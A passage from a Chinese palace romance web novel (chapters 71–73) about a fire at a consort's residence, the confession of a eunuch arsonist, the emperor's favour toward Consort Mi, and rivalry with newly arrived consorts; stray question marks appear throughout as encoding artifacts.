不等?众人回神,全福海领着宫人,从殿外进来,他持拂尘躬身,“皇上,奴才查了行宫的?记事?档,确有小太监多拿了灯油。” 随后,那小太监被带进来,他来路已经知晓生了何事?,抖着身子扑通跪倒地上,哭丧着一张脸,大呼道:“皇上饶命,皇上饶命,奴才是?要了花房偏厢的?灯油,但奴才……奴才只是?想中间徇私,接济家里,就是?给奴才十个?胆子,奴才也不敢私自到雪霁亭纵火啊!” 那小太监说?得有模有样?,幸而全福海早问清了缘由,已命人去?查那不翼而飞的?灯油倒底藏在了哪儿。 这厢众人都在看那小太监一把鼻涕一把泪的?陈情,明裳扶着辛柳的?手臂,却?忽觉小腹一痛,一股热流缓慢而出,她脸色白了一瞬,意识到什么,发白着脸色,有些?虚弱无?力地往辛柳身上靠了靠,辛柳见主子面容,明白过来,正要开口,见主子冲她轻摇了摇头,她闭上嘴,扶住主子身子,忍不住心疼。 明裳兀自算了算日子,好似这月的?月信提前了几日,她没在意这个?细节,大抵是?今夜受了惊吓,身子才会忽然生出不适,待事?情了结,再去?传太医看看也不迟。 因全福海早暗中让人去?查灯油的?下落,许是?那人大意,以为捉走了一太监就万事?无?忧,不想竟是?真的?被搜了出来。 那小太监名唤小净子,被带进殿后,死咬着是?被人栽赃诬陷,矢口否认,“奴才不知那些?灯油是?怎么回事?,奴才冤枉,奴才冤枉!” 旁边跪着的?小太监仔细打量小净子两眼,恍然大悟,忽地开口,“居然是?你!” 小净子眼神闪躲,避着他的?视线,那小太监回神,急急指着小净子道:“那日,奴才就是?从小净子无?意说?出的?话里得知,拿宫中的?灯油高价变卖,可得不少的?银钱,奴才……奴才才一时鬼迷心窍,徇私了灯油,不想,竟是?被小净子从中利用,奴才确实不知情,奴才所言句句属实,请皇上明鉴!” 小净子身子抖得厉害,他死咬着不认,“奴才不知道他在说?什么!” 张嫔这时才冷声开口,“证据确凿,你还不说?出实情,是?不想要自己这条命了?宓贵嫔与你素未相识,甚至连花房的?管事?都认不全,你为何要有此歹心,蓄意纵火,你可知,倘若火势闹大,别说?是?你一条性命,就是?你的?双亲兄姊,都得人头落地!” “你现在道明原尾,倘若确实无?辜,皇上也会从轻发落。” 小净子惊恐地咽了咽唾沫,脊背越发折低,他颤颤巍巍地抬头,袖中忽然有一枚温凉的?软玉掉到了手心,他捏紧了那枚玉珏,心上一横,认命地苦笑道:“奴才该死。” “奴才曾在宫中伺候,受过阮嫔主子的?恩惠,奴才听闻,阮嫔主子受责,都是?宓贵嫔之过,奴才才一时鬼迷心窍……” 他惊惶哀求道:“皇上饶命!奴才知道错了,求皇上饶过奴才全家上下的?性命吧!” 谁也没料想到,今儿这出戏,居然唱到了阮嫔身上。如此看来,这小净子也是?重情重义。 小净子既已认罪,却?迟迟不见皇上有所发落,众人的?目光不由得看向上位,明裳扶着辛柳的?手,已然是?疼得冷汗涔涔,有些?撑不住。她此时哪还会管倒底是?谁要害她,只想快散了,回寝殿吃药歇息。 皇后略一思忖,屈身请示道:“皇上,小净子既已认罪,不如明日再行责罚。夜色已深,皇上一早还有早朝,要保住龙体?才是?。” 这番话,也给众人提了个?醒,这般深夜,皇上居然为了宓贵嫔,查到这个?时辰。嫔妃们撇了撇嘴,对宓贵嫔的?嫉恨又多上一层。 李怀修低着眼皮,不紧不慢地摩挲两下拇指的?玉戒,良久淡淡吩咐道:“拖出去?,押到慎刑司再行发落。” 事?既已了,没了热闹看,众人才发觉站了许久,腰酸腿麻,因皇上还在,没人敢露出半分幽怨的?惫态。 徐美人上前柔声:“皇上,宓贵嫔这处院子今夜怕是?不能?住下去?了,怡香苑旁有处偏殿,日日有人清扫,也算干净整洁,不如委屈宓贵嫔住去?几日,待修葺好了雪霁亭,再搬回寝殿去?住。” 徐美人这番请词并无?不妥,毕竟怡香苑距雪霁亭最近,倘若徐美人并无?邀请之意,才是?落了人话柄。 不过行宫本?就狭小,不受宠位份又低的?嫔妃更是?清楚,几人合住一宫,抬头不见低头见,该有多膈应心烦。更何况,徐美人是?新?宠,宓贵嫔更得皇上欢心,这两人住在一起,倘若一人侍寝,晾着另一人,那该是?有多委屈恼火。 明裳痛得要晕过去?了,她浑身无?力,疲于应付徐美人,众目睽睽之下,还要装出一副模样?,她自是?不愿意搬去?怡香苑的?偏殿,且不说?两人的?位份,她好歹也是?贵嫔之位,住去?美人的?偏殿,叫旁人如何去?看她。 再者,她怎不知徐美人是?那位新?宠,她虽不在意皇上宠着谁,但搁在眼皮子底下,换谁都要心里计较。她不愿到徐美人那儿受气,也不愿与徐美人有多亲近。她没明着说?出来,只垂着泪珠,眼睫颤颤地虚弱道:“妹妹好意,我是?心领了。” 她肩膀颤抖,无?声地抿住唇角,求助般地朝男人看去?。 泪光点点,满脸无?辜。 这番我见犹怜的?神情,叫人一瞧,就明白,宓贵嫔是?不愿与徐美人同住,却?不直言拒绝。众人心中鄙夷,忍不住看向皇上,也想知皇上要怎么处置宓贵嫔的?住处。 李怀修哪瞧不出那女子是?在装模作样?博自己怜惜,当?着众人的?面,他总不好对她过多偏颇,也没看那女子,只拂袖起身,对徐美人道:“你二人同住毕竟多有不便。” 他捻了捻扳指,看向皇后,“行宫有几处空着的?宫所,皇后挑一处清凉的?安排宫人洒扫了,再让宓贵嫔搬去?住一段日子。” “今夜宓贵嫔便暂且住去?朕的?太和宫。” 太和宫岂不是?皇上的?寝宫,宓贵嫔不过是?宫所失了火,便能?得到伴驾的?机会?天底下哪来这般的?好事?! 徐美人脸色微僵,她低垂着眼,终是?没再开口说?些?什么。 看来,皇上待宓贵嫔的?宠爱,比她所想的?还要甚,就是?住到别宫偏殿这份委屈,也舍不得让宓贵嫔受。 一众嫔妃中,站在后头原本?事?不关?己的?白答应皱起了眉,她轻轻搅动着手中帕子,打量去?廊下妆容素净的?女子,咬住了下唇,眼底不知在想些?什么。 今夜这事?儿算是?过去?,待圣驾离开,众人也相继离开了雪霁亭。只是?嫔妃们走上青石小径,回忆起方才跟随皇上,上了圣驾的?宓贵嫔,都不禁有些?心不在焉。 纷纷唉声叹气地幽怨,怎的?偏生宓贵嫔那般命好,容貌圣宠,都叫她一人占去?了。 与嫔妃们此时所想,正婉转承欢的?宓贵嫔不同,銮舆内,明裳面如白纸,唇无?血色,纤柔的?身形不时发抖,她泪眼巴巴地望去?男人,磨蹭去?李怀修怀中,怜怜泣泣的?出声,“皇上,嫔妾难受……” 掌心触到女子衣衫的?汗湿,李怀修才注意到这女子有所不对。方才在雪霁亭,他不是?没察觉这人面容有异,身子仿似支撑不住,全靠身边的?宫人扶着。他原以为这女子是?受了惊吓,又有几分在他面前做戏的?成分在,才没多加理会,因这女子实在做了太多伪装身子不适的?戏码,此时,这人咬着嘴,似是?疼得,都哭了出来,身子又十分冰冷,他才发觉,她是?真的?不适,不是?为了博他心疼怜惜。 李怀修拧紧眉心,抚去?怀中人颊边的?碎发,“怎的?难受成这样??朕这就吩咐人去?传太医。” 他侧过脸,向外唤全福海速传太医到太和宫,外面伺候的?全福海不解皇上为何突然要传太医,听皇上声音中气十足,不像生了病的?模样?,大抵猜到又是?因宓贵嫔,他不敢耽搁,立即招来小太监,速速去?行宫太医处将当?值的?太医传来。 圣驾回了太和宫,太医来得很快。殿内,陈太医诊着脉象,眉头紧皱 ,觉得这脉象有些?奇怪,又说?不出为何奇怪,依他多年看诊经验,不可能?诊治不出。陈太医又问了几句明裳近日身子可还有别处不适,明裳思忖一番,轻摇了摇头,“并无?不适。” 李怀修扶着怀中人的?身子,沉下声,“宓贵嫔身子究竟有何不妥?” 陈太医被吓得心口一跳,冷汗又冒出来,他收回手,思量再三,答道:“回皇上,贵嫔娘娘只是?先受了凉气,再受惊吓,气虚疲累才致使月事?不稳,用药调理即可。” 他躬下身子又道:“这药与娘娘每日服用的?汤药并不相冲,娘娘服用三日,若还腹痛,臣再斟酌调整。” 陈太医退身去?开方子,李怀修垂眼见这女子脸色比方才红润了许多,稍放下心,“朕还有奏折要看,不舒服就让人到前殿给朕传话。” 明裳倚靠在男人胸怀,乖顺地点头,软声,“皇上也要注意身子,早些?歇息。” 李怀修心口一暖,指腹碰了碰女子的?脸蛋,唇角扬起一抹浅淡的?弧度。 折腾到夜深,御案堆积的?奏折还有大半尚未批阅,李怀修一向不喜将政务耽搁到明日,他也习惯了深夜理政,不觉疲惫,走到案后,坐下身,手持朱笔垂目批阅。 四更时分,全福海看一眼漏刻,犹豫要不要提醒皇上注意龙体?,该是?歇息了,转眼就见皇上起了身,他抬步忙过去?伺候。净室备了热水,沐浴过,全福海正要吩咐人进寝殿掌灯,伺候皇上安置,李怀修摆了摆手,怕吵到那女子,没再让他跟着。全福海噤声,带着一等?宫人,恭敬地候在了屏风外。 彼时明裳服下药,痛意消退,早已沉沉睡去?,李怀修坐到床榻边,低目凝了这女子一会儿,才除衣上了榻。 第072章 第 72 章 仪元殿 昨夜折腾得晚, 行宫中前去雪霁亭的嫔妃们?夜中都没睡得踏实,到仪元殿请安,也神色恹恹, 一副困倦的模样。 眼见到了时辰, 宓贵嫔的位子还在空着,众人面面相觑, 昨夜虽是雪霁亭走?水,可宓贵嫔人好好的,即便受了惊吓, 也不至于都不来给?皇后娘娘问安了。 直到皇后入殿,宓贵嫔还未来,终于有人提起?,皇后轻描淡写地看了眼说?话的嫔妃,温声道:“宓贵嫔身子不适, 早已告假本宫, 这几日都不必到仪元殿问安。” 闻言, 有人想到昨夜宓贵嫔可是乘了皇上的圣驾离开,不禁酸道:“宓贵嫔也太?不知规矩,身子不适, 到娘娘这告假, 怎能?还在太?和宫侍寝,素没有这样的道理!” 旁人也随之附和,怎的宓贵嫔那?般好命,身子不适还能?侍寝!嫔妃们?越想越气恼,宓贵嫔受宠后, 皇上本就少?去别宫,一月能?见一回皇上, 她?们?都够欢喜了,而今宓贵嫔病着,竟也霸着皇上不放,谁知倒底是真病还是假病! 皇后端坐着,扫过殿内嫔妃气恼各异的神情,漫不经心地抿了口茶水,“宓贵嫔告假也是皇上的意思,你们?在本宫这议论,是对圣意有所不满?” 众人一惊,惊惶起?身,连称不敢。 皇后淡声让她?们?坐下,“后宫嫔妃能?入圣眼,全凭皇上心意,你们?在本宫这不满于宓贵嫔,不如回去好好想想,如何侍奉皇上,如何为?皇上解忧,为?皇室开枝散叶,这才是嫔妃所为?。” 仪元殿散了晨安,白答应一早困倦,迷迷糊糊地落在了最后,皇后目光若有似无地在最后离开的女子身上停留了一瞬,便转开了眼。 …… 那?日皇上叮嘱皇后洒扫别宫让宓贵嫔暂住,已过去多日,仍不见动向,宓贵嫔依旧留在太?和宫伴驾,明眼人已看得出来,不论是清扫别宫,还是修缮雪霁亭,都要过上一段日子。 李怀修卯时起?身,去上早朝,全福海伺候皇上戴了冠冕,正要随着离开,却见皇上将他拂开,又走?回床榻。 帷幔垂着,宓贵嫔正睡在里面,六宫里,能?侍寝后,翌日一早从不起?身伺候皇上早朝的,也就宓贵嫔这一个主?子。 全福海有眼色地退下身。 那?女子乌黑的鬓发铺散在雪白的玉肤上,睫如蒲扇,睡得正香。李怀修捻了捻扳指,眸色一暗,屈指,轻掐了那?女子脸蛋一下,耳边听那?娇滴滴的一道呜咽,那?女子惺忪地睁开眸子,湿漉漉地嗔恼,李怀修心绪莫名?升上一抹悦色。 每每宓贵嫔侍寝,皇上的脸色就跟六月的天?似的,变来变去,宓贵嫔身子好后,昨夜内殿里要了两回水,今儿一早,皇上就是待宋老都颇为?和颜悦色,直让宋老惶恐不已,惊得下了朝还在原地愣神,暗道莫不是自己一片赤诚之心终于感动了皇上!一时不禁心潮澎湃,激动不已。 雪霁亭修缮了小半月,眼见圣驾即将回宫,明裳也没听见宫人请她?回雪霁亭的意思。她?心安理得地窝在太?和宫寝殿,装模作样地养病,除却入夜的难熬,日子过得委实自在。 只是不知为?何,她?这回的月事来的快,去的也快,那?位不放心她?的身子,将行宫的太?医都召来给?她?看诊,也没瞧出个所以?然?,近些日子明裳养得好,没有不适,便也不再去想那?桩事。 李怀修下朝回来,那?女子还懒在寝殿内未起?身,他随口问了一句,御前伺候的宫人一一回话,道宓贵嫔这时还睡着,李怀修坐下身时,眼皮子掀了掀,摆手让那?宫人退下,又不禁嗤了声,那?女子如今在他面前是愈发没规矩了,他天?还未亮起?身准备上朝,先听朝臣因为?一些琐事就喷唾沫星子,喷得你死我活,下了朝还要看上大半日的奏折,后午召见朝臣议事,整日没得空,她?这个嫔妃当的,比自己这个皇帝还自在清闲。 皇上脸色难看,全福海在一旁伺候大气也不敢出,心中暗暗叹服宓贵嫔的本事,就是懒怠成?这样,也不见皇上如何责罚。 他一面研磨,一面暗暗思量,啧啧之时,一转头见皇上冷淡地朝他瞥了眼,全福海立即收了心思,恭敬垂首。 李怀修身体往后靠了靠,指骨点了两下御案,声线平淡,“传朕话,让宓贵嫔过来磨墨。” 全福海觑着皇上脸色,眼底一言难尽,皇上不责罚宓贵嫔,也见不得宓贵嫔清闲,变着法的折腾。他应了声,转头过去找宫人伺候宓贵嫔盥洗。 寝殿里,明裳被人伺候着,不情不愿地坐到妆镜前梳发,她?面容睡得红润粉嫩,却也遮掩不住眼皮的倦怠之色。这几日她?原本能?睡到晌午,一直好好的,不知今日那位哪里不顺气,又要折腾她?才罢。 明裳瘪着小嘴,一脸不愿。 待梳好了妆容,她?正欲出殿,又被进殿的宫女拦住,“勤政殿有朝臣求见,请娘娘先回寝殿歇息。” 明裳住在太和宫几日,才知前朝的政务有多忙,即便她?住在寝殿,也是入夜才能?见到皇上。她?可不敢在处政的时候过去扰了那?位,但她?都被人叫起?来了,此时虽有困倦,回去也睡不着,她?便坐回窄榻里,随手取了一本古文去看。 勤政殿外,左都司面圣后出了行宫,全福海垂头恭送,正欲转身回去伺候,就远远的见一女子带着两个小宫女拾阶而上,全福海瞧着这位主?子眼生,定睛看仔细了,才认出来,这位主?子不正是前不久与徐美人、罗常在一同入宫,还未侍寝过的白答应! 白答应怎么突然?来御前了,全福海还没琢磨明白,猛然?想起?宓贵嫔这时候也在勤政殿! 白答应是入宫嫔妃三人中容色最艳的一个,肌如白雪,腰若束素,乌眉英气,偏生那?株如樱桃的般柔软朱唇,又极尽柔美,这般姿容,比之宓贵嫔与杨才人,都不遑多让。 自打皇上宠幸宓贵嫔,全福海大抵是摸出了皇上的喜好,九五之尊,坐在那?个位子上,无非是喜爱小鸟依人般的娇柔美人,杨才人清高?不凡,后宫里也就宓贵嫔颇合皇上的心意,而今这位白答应瞧着与宓贵嫔是一般的性子,全福海不敢马虎,焉知这位主?子不是下一个宓贵嫔,他恭恭敬敬地上前福过身。 宫女撑着一柄桃花八骨的油纸伞,伞下白答应走?来一路,气喘微微,面颊泛红,她?浅笑请全福海起?身,问皇上这时可得空,她?有事要求见。 全福海不知这位主?子要见皇上是因为?什么要紧事,毕竟白答应入宫后本本分分,从未闹出过什么幺蛾子,要不是今儿到御前来,他都要忘记新主?子中有这么一个人。 不过后宫的主?子求见皇上能?有何要事,他记得这位白答应的父亲在前朝亦是无功无过,虽不得皇上赏识,也没出过半分差错,料想不是因前朝之事,除却这位主?子动了入皇上眼的心思,他还真的猜不出别的原因。 一时间,全福海心里转了八百个来回,他面上不露声色,没像应付其他的主?子那?样敷衍白答应,倒真的回殿到御前通传。 殿内,议事的朝臣出了宫,明裳便规规矩矩地到了御案旁侧研磨,她?持着磨石,没一会儿手腕就没了力气。见男人没半点心疼她?,明裳轻哼了声,指尖暗戳戳碰了碰李怀修的手臂,“嫔妾两手都酸痛死了,皇上就不能?寻别人来伺候您!” 李怀修被她?吵得不耐烦,撂了手中的湖笔,冷眼打掉扯着自己的衣袖的小手,冷嘲热讽道:“你住着朕的寝殿,又不必去给?皇后问安,日日晨起?不伺候朕更衣也就罢了,朕宵衣旰食,你倒好,就知道占着朕的床榻整日睡到日上三竿,你还知不知道自己的身份!” 男人铁青着脸,冷言冷语地训她?。 明裳简直委屈得不行,她?咬着唇,满脸无辜,“旁人不知,皇上还不知嫔妾为?何睡到日上三竿!” 她?那?张雪白的脸蛋,似是充了血,绯红如霞,闪躲着眸子,嘀嘀咕咕:“嫔妾哪有皇上的精力,嫔妾这双手这几日写字都抖个不停……” 还不是因她?不能?侍寝,她?浑身上上下下,这几日哪处都被碰遍了。 闻言,李怀修怔了下,捏紧了拇指的白玉扳指,脸色精彩,忆起?那?番情形,他憋了憋,竟不知该训斥这女子什么。 然?,她?是他的嫔妃,他临幸她?,有何不妥。 怎的到这女子口中,全然?是自己的之过。 见男人面色有变,明裳十分自觉地依去男人胸怀,顺着毛捋这位十分小心眼又记仇的帝王。 她?对上男人冷冰冰的眼神,将自己一双手举起?来,尤其手心磨得发红的肌肤给?男人看,美目盈波,羞得一张脸都要埋进他衣襟里,“皇上快看,嫔妾的手再过些日子,怕是都要请太?医开养伤的方子了!” 看清这人手心磨破的皮//肉,李怀修心口生出的恼意才渐渐消散,取而代之是一阵莫名?的心虚,他把那?两只小手握进掌中,轻咳了声,一本正经道:“是你身子生得娇气。” 明裳仰着脸蛋,嗔了男人一眼,波光流转,黛眉斜飞,端的是万种风情。 …… 宓贵嫔待全福海不算薄了,每每遇见皇上动怒,全福海首先想到的就是宓贵嫔,屡次三番地去请宓贵嫔解围。 皇上在气头上,可不是谁都能?哄得了的,尤其遇到前朝的烦心事,宓贵嫔身为?后宫嫔妃可不好干政。这事儿哄不好,宓贵嫔随时都能?失宠,换谁都是左右为?难,宓贵嫔却回回应下,全福海时刻都记在心里,但他是伺候在御前的人,不论如何都要先考虑皇上的心思,宓贵嫔貌美,白答应也不遑多让,更何况,白答应是新人。 他自是明白,皇上召幸徐美人和罗常在,一则是制衡前朝,二则也是因后宫许久没进新人,皇上看腻了六宫嫔妃,也愿意看点新面孔,这世?上,坐拥江山的皇权贵胄,有几人不贪鲜。 世?///祖爷当年创建大魏基业,即便与发妻敬慧皇后伉俪情深,还不是在敬慧皇后有孕之时,又接连往后宫纳了三个嫔妃。故而,全福海虽认准宓贵嫔大有福气,也不能?完全笃定非宓贵嫔不可。皇上未及而立,正值壮年,如此春秋鼎盛,日后不可能?没有人像宓贵嫔一般受皇上宠爱,他这才敢大着胆子,在宓贵嫔伺候御前的时候,应了白答应的请托。 全福海心里盘算得好,怎料,聪明反被聪明误,他都没登进殿门,刚通禀了一句,话音撂下,不见里面动静,正琢磨着,耳边就听皇上恼火的沉声,“滚!” 他吓得一个趔趄,险些趴到地上,扶住头顶的三山帽,连连应声,手忙脚乱地转身滚了。 边走?边恨不得给?自己一个大嘴巴子,他真是越活越回去了,怎的忘了每每宓贵嫔伴驾时,皇上都像先帝爷一样,宠着喜爱得嫔妃快没边儿了,时常荒唐。他是不想要脑袋了,敢在这时候传话。 他抹了把额头的冷汗,讪笑着回白答应,“皇上忙着朝政,答应主?子若有要事,不如待皇上不忙,奴才代为?通传。” 得知皇上不见自己,白答应面有失落,因不是什么要紧事,她?自若道:“不妨事,既然?皇上此时无暇见我,那?我便改日再来。” 全福海低身,恭送白答应。 下了台阶,红鲤为?白答应撑伞,似是不经意往后瞄了一眼,心有疑惑,她?附耳贴近主?子,轻声,“这些日子宓贵嫔称病告假,不去仪元殿给?皇后娘娘问安,反而日日住在这太?和宫中,皇上不见主?子,莫不是因宓贵嫔在圣前说?了主?子什么闲话?” 白答应轻拧了下眉尖,面容思量,面上却是没说?什么,只摇了摇头,叮嘱,“皇上不见我自是圣意,我只需遵从皇上的意思就是,其余不该妄加揣测,就不要说?出来招惹是非。” 自家?主?子看似懵懂迟钝,实则自有自己的心思。 红鲤自知自己说?了错话,连忙低头跟主?子认错。 见白答应主?仆几人离开,全福海才彻底松口气,日头要到晌午,德喜上前问干爹何时到膳房传午膳,全福海恨铁不成?钢地踢了脚德喜的屁股,眯眼连连点他,“吃吃吃!就知道吃!” 他怎么收了这么一个干儿子。 德喜一脸不明所以?,揉揉发疼的屁股,疼得龇牙咧嘴,干爹踹他干啥,到了传午膳的时辰,伺候的是皇上,又不是他要用午膳。 勤政殿内,明裳使劲儿咬紧唇瓣,憋住笑脸,用帕子去擦男人腰腹的水渍,那?茶叶歪歪斜斜横陈着,颇为?狼狈,明裳更想笑了。 李怀修一把揪住女子的脸蛋,不咸不淡地睨她?,“好笑?” “不……不好笑!”明裳急快地摇头,只是那?双灿亮的眸子好似盛了满天?的星光,娇媚如水,宜喜宜嗔。 李怀修“啧”了声,仍恼火着,颇为?勉强地松开了手。 明裳拢住胸口的衣襟,低头看着男人挺劲精壮的腰腹,羞得满面通红。她?时常侍奉圣驾,自然?知晓这位有射御的习惯,腰腹极为?有力。 方才那?番情形,她?腰下被御案硌得生疼,忽地被殿外全福海的通传吓了一跳,才失手打翻了案上的茶水,幸而茶水温凉,洒到身上也是无碍。 这茬打断,李怀修也没了那?个兴致,穿了衣裳,吩咐殿外传膳。 又过上几日,雪霁亭修缮好,明裳住回了自己的寝宫。那?日雪霁亭走?水,有宫人伺候不力,里里外外又由御前的大公公全福海掌眼,亲自挑了新人送过来,不必想,她?也知是那?位的意思。 一进殿门,就见到许多生面孔,她?将这些人交由绘如教导规矩,自己先进了内殿。 行宫中的嫔妃很快得知宓贵嫔终于搬回了雪霁亭,往日嫔妃们?还能?在花园偶遇圣驾,宓贵嫔住在太?和宫这几日,皇上就是连园子都不逛了,她?们?早巴望着宓贵嫔赶紧从太?和宫搬回来。 听闻消息,立即有嫔妃按捺不住,吩咐膳房做了汤水,端去勤政殿。 全福海习惯了后宫主?子们?要见皇上的手段,得心应手地应付两句,倒是没让行宫一个嫔妃能?到御前见到皇上,嫔妃们?接连刹羽而归,一来二去,愈发气恼,恨不得将手中的汤水泼到全福海那?阉人的脸上。 全福海对此颇为?无辜,但他是侍奉在御前的人,这点小事办不好,日后也甭想在皇上身边伺候。宁可得罪遍了六宫的主?子,也不能?得罪皇上。 不过那?日之后,全福海再没见白答应到御前求见,也不知那?日白答应说?的要紧事是何事,还是仅是借着一个由头要入皇上的眼。 又过半月,圣驾回宫。 第073章 第 73 章 圣驾回宫, 随行的还有入宫的三位嫔妃,三人宫所由皇后与贤妃商议,徐美人住去了昭阳宫谨兰苑, 罗常在去了咸福宫缈云坞, 白答应则被分到了上林宫出云阁。六宫宫所,原本是?永和宫空出的偏厢最多, 贤妃有意无?意暗示皇后,为何不将?三人分去永和宫一人,皇后抚着六宫的名册, 朝贤妃掀去一眼,轻轻笑道?:“贤妃妹妹此言有理?。” 却也只是?说了这一句,贤妃视线与皇后对上,彼此心知肚明,为何不往永和宫中放人。贤妃心底轻蔑, 皇后母仪天下, 执掌六宫又能如何, 还不是?要让于皇上宠着的嫔妃。宓贵嫔盛宠不衰,如今也是?愈发惹人眼了。 …… 圣驾回宫后,三位新入宫的嫔妃各安置好了宫所, 翌日御前下旨, 留在宫中的嫔妃听闻这道?旨意都颇有惊讶,不知行宫发生了何事,皇上竟将?阮嫔打入了冷宫。 阮嫔入冷宫后,如一颗石子激起千层浪,谁人不知, 皇上留着阮嫔的性命,全是?因宝珠公主, 冷宫那等荒僻之所,自?是?不比在上林宫软禁日子过得舒坦,这件事六宫皆知,但?上上下下都瞒着宝珠公主,没人走漏风声,敢跟宝珠公主提起阮嫔,除非是?真的不要脑袋了。 到坤宁宫问安那日,皇后又赐了三人赏赐,徐美人是?一对儿镶玉描金的红珊瑚手钏,罗常在是?嵌了红宝石的金蝉头面,白答应则是?一只成色尚好的琉璃翡翠簪子,三人谢了恩赏。请安过去,嫔妃们相继出了坤宁宫。未去行宫的嫔妃见到新进宫的三人,心里又酸又恨,尤其得知徐美人与罗常在已经伺候了圣驾,愈发不是?滋味。 尤其是?未能跟随圣驾到行宫避暑的徐答应,而今宫里又新进了徐美人,且一进宫位份就高?于自?己。另外两人,徐答应并未放在心上,偏生徐美人与自?己同姓,如此让宫里的嫔妃如何去看自?己。徐答应越想越难受,站在坤宁宫门前,使劲儿拧了拧帕子,瞄着徐美人离开的方向狠狠瞪了一眼,一跺脚才转身离去。 徐美人是?第二日才知晓,宫里头还有一位徐答应。她二人虽同为徐姓,但?祖上并无?姻亲,不过是?巧合罢了。徐答应不过是?六品散官之女,家世?自?然不能与她相较。这位徐答应既然都未能随圣驾到行宫避暑,可见也并非得圣心,故而,徐美人没把徐答应放在眼中。 不过她在行宫这些?日子,也多少?看出了后宫中的勾心斗角,她不在意徐答应,不代表徐答应不会注意到这个与她同姓的嫔妃。 槅窗开着,廊下宫人轻声洒扫,徐美人不紧不慢地饮着茶水,眸中凝着浅淡的晦色。她掀起眼,日暮西斜,这是?她进宫的第二日。 她指尖儿点着桌案,稍许起身,唤来翠菊,“为我更衣。” …… 圣驾回宫,又要到中秋,前朝要处理?的政务只多不少?,昨儿皇上回乾坤宫没歇上一会儿,就有大臣求见,入夜又要批阅御案堆积的奏折,忙到亥时?才吩咐安置。 一大清早,全福海都没清醒,又去伺候皇上更衣上朝,见了一日的朝臣,这会儿才有喘息的空档。 徐美人来得凑巧,全福海跑进去传了话,不一会儿传她进殿。 这是?徐美人初次到处政的乾坤宫,她回宫后,除却行宫伺候的宫人随行入宫,皇后又给?她宫中拨了几个洒扫的宫人。徐美人吩咐丹桂教导后,挑了个瞧着伶俐稳重的近身问话,自?然也得知了这宫中明面上的形势,皇上鲜少?准允后宫嫔妃去御前伺候,在宓贵嫔之前,后宫最得宠的是?杨才人,此后就一直是?宓贵嫔了,皇上甚至准允宓贵嫔留宿乾坤宫寝殿侍寝。 徐美人这番过来,也是?因为行宫她无?意中做的事,已经惹了这位不喜,罗常在侍了寝,倘若白答应再寻到机会见到皇上,她在宫中的地位更加岌岌可危,她分析利弊,不想坐以待毙下去。 进了内殿,徐美人敛下心思,屈膝福身,“末伏尚燥,嫔妾特意吩咐御膳房炖了梨子汤水,给?皇上送来。” 御案后,李怀修淡淡点了点头,“你有心了,起来吧。” 徐美人起了身,提着食盒,拾阶而上,站到御案旁侧。 御案上摆置的是?两卷论史?的集子,已翻去了大半,正是?文英一页,空白处用湖笔标记着心得,徐美人颇有诧异,从?食盒中端出梨子汤水,边随口道?:“皇上治国,也要看臣子传吗?” 李怀修微顿,捻了捻扳指,侧目看她,徐美人后觉失言,紧张地退身半步,垂首道:“嫔妾失言,皇上恕罪。” “无妨。”李怀修手臂倚靠到椅背,知她自?幼通读史?书,一时?失言不过是?脱口而出,并非有意为之,随意道:“你既知道文英,觉得此人如何?” 徐美人心口砰跳,侍奉皇上月余,她虽伴驾时?日不多,然也摸出皇上待她的心思,后宫嫔妃众多,她不知宓贵嫔如何得的圣心,致使盛宠不衰,却有几许看清,要想入圣眼,定要与寻常的嫔妃不同。 皇上今日能召见她,大抵也正是?因皇上此时正在看这本传记史书,自?初次侍寝后,皇上接连召幸她,一是?因她家世?,二则,是?因对她饱读诗书的欣赏。 当下,她要做的,就是?在皇上眼中的徐美人,与后宫只会争风吃醋的嫔妃,都不相同。 徐美人缓下心神?,只道?:“嫔妾不敢妄言。” 李怀修拂手,“但?说无?妨。” 徐美人这才低垂下眉眼,柔柔启唇回话,“昔日金人围京城,勤王之兵四集,后世?有人或道?‘今日之祸,实文英有以启之。’或言‘国家一统之业,其合而遂裂者,文英之罪也。’”她顿了下,微微抬眸,“嫔妾却不以为然。” 李怀修黑眸看着她的眼,“为何?” 殿内煌煌,男人姿态闲散,注视着下首的女子。 徐美人不敢看那位的眼,攥紧了手心,依着当初祖父在书房时?的教导,嘴唇翕动,“文英公曾言‘天变不足畏,祖宗不足法,人言不足恤。’可见公卿傲骨,嫔妾以为,文英公逆史?流,致使一朝陨灭,确非能臣。文英公有二错,一错在逆流而行,二错在心怜苍生疾苦,而迫切求于变革,此行却不知世?事有可为有可不为,并非成大业之时?。祖父教导过嫔妾,太///祖建业之处,也是?由一腔孤勇,却是?顺应实事天命,揭竿而起,才有后世?之大魏,而今之太平,故而,嫔妾以为,文英公非能臣,而是?孤臣。嫔妾敬服,然也叹惋。” 言罢,徐美人停住声,又忙道?:“嫔妾失言,不该妄议太///祖,皇上恕罪。” 李怀修淡笑一声,“你说的不错。” 他垂下眼睑,随手翻过一页,淡淡道?:“留下伺候笔墨。” 徐美人微怔,这才彻底舒了口气,她眉眼抹上悦色,温顺地应声。 当夜,圣驾去了谨兰苑,徐美人侍寝。圣驾方从?行宫回銮,徐美人就得了侍寝的机会,可见不是?个简单的。 明裳得知这夜徐美人侍寝时?,正缠着打好的金丝络子,听闻今儿是?徐美人提着梨子汤水,亲自?送去的御前,不止得皇上准允送了进去,夜中又得了皇上召幸。徐美人在行宫受的圣宠不输于明裳,虽有几回让皇上下了脸面,但?徐美人还能复宠,想来也有不寻之处,不可小觑。 得了这信儿,月香最是?不满,她瘪着嘴,觑着主子的脸色,没敢出声议论,却是?狠扯了把手中的络子。 随主子入宫有一年,她早已看清,想要皇上专宠主子是?异想天开,主子能得皇上三分偏爱,已是?越过了后宫大半多的嫔妃。可她仍是?不快,换是?旁人也就罢了,偏生是?徐美人,当初杨才人就与主子不对付,嫉妒主子得宠,几番刁难,而今她总觉得,这徐美人有继杨贵嫔的势头。主子眼下还不能有孕,倘若再让徐美人赶在主子前头有了身孕,那该如何是?好! 这番作想,月香越发替主子委屈。 明裳没觉出什?么委屈,她虽得宠,可那位能召谁侍寝,哪是?她能左右,她亦是?从?没想过,让那位专情?于自?己,也从?不在乎。她既选择入宫,最要紧的是?得圣心,诞下皇嗣,光耀母家,以免去父亲因寒门所受的倾轧。 她至贵嫔位分后,母亲再来家书,言父亲在前朝已好走许多,家里府宅也从?十里巷搬去了铜月街,四方亲友都待家中甚好,只盼她小心珍重。明裳得此书信,就知自?己当初的选择无?错,更何况,她即便不入宫,也难以嫁去柳家,还不如做下这般选择。 不过这徐美人确实有些?本事,徐美人出身徐家,听闻徐美人的祖父是?有名大儒,她在家中时?,常听父亲提起徐老,徐美人受徐老教导,料想是?能与那位说上几句话。 